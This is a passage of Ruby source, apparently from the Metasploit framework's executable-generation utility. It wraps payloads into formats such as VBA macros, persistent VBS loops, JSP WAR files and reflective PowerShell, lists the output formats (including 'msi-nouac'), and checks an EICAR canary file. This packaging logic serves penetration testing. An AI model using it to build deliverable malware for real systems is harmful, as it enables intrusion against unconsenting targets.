Msf::Util::EXE.to_exe_vba(exe)
when 'vbs'
exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => false }))
when 'loop-vbs'
exe = exe = to_executable_fmt(framework, arch, plat, code, 'exe-small', exeopts)
Msf::Util::EXE.to_exe_vbs(exe, exeopts.merge({ :persist => true }))
when 'war'
arch ||= [ ARCH_X86 ]
tmp_plat = plat.platforms if plat
tmp_plat ||= Msf::Module::PlatformList.transform('win')
exe = Msf::Util::EXE.to_executable(framework, arch, tmp_plat, code, exeopts)
Msf::Util::EXE.to_jsp_war(exe)
when 'psh'
Msf::Util::EXE.to_win32pe_psh(framework, code, exeopts)
when 'psh-net'
Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
when 'psh-reflection'
Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)
end
end
def self.to_executable_fmt_formats
[
"asp",
"aspx",
"aspx-exe",
"dll",
"elf",
"elf-so",
"exe",
"exe-only",
"exe-service",
"exe-small",
"loop-vbs",
"macho",
"msi",
"msi-nouac",
"osx-app",
"psh",
"psh-net",
"psh-reflection",
"vba",
"vba-exe",
"vbs",
"war"
]
end
#
# EICAR Canary
#
def self.is_eicar_corrupted?
path = ::File.expand_path(::File.join(
::File.dirname(__FILE__),"..", "..", "..", "data", "eicar.com")
)
return true unless ::File.exists?(path)
ret = false
if ::File.exists?(path)
begin
data = ::File.read(path)
unless Digest::SHA1.hexdigest(data) == "3395856ce81f2b7382dee72602f798b642f14140"
ret = true
end
rescue ::Exception
ret = true
end
end
ret
end
def self.get_file_contents(file, perms = "rb")
contents = ''
File.open(file, perms) {|fd| contents = fd.read(fd.stat.size)}
contents
end
def self.find_payload_tag(mo, err_msg)
bo = mo.index('PAYLOAD:')
unless bo
raise RuntimeError, err_msg
end
bo
end
end
end
end
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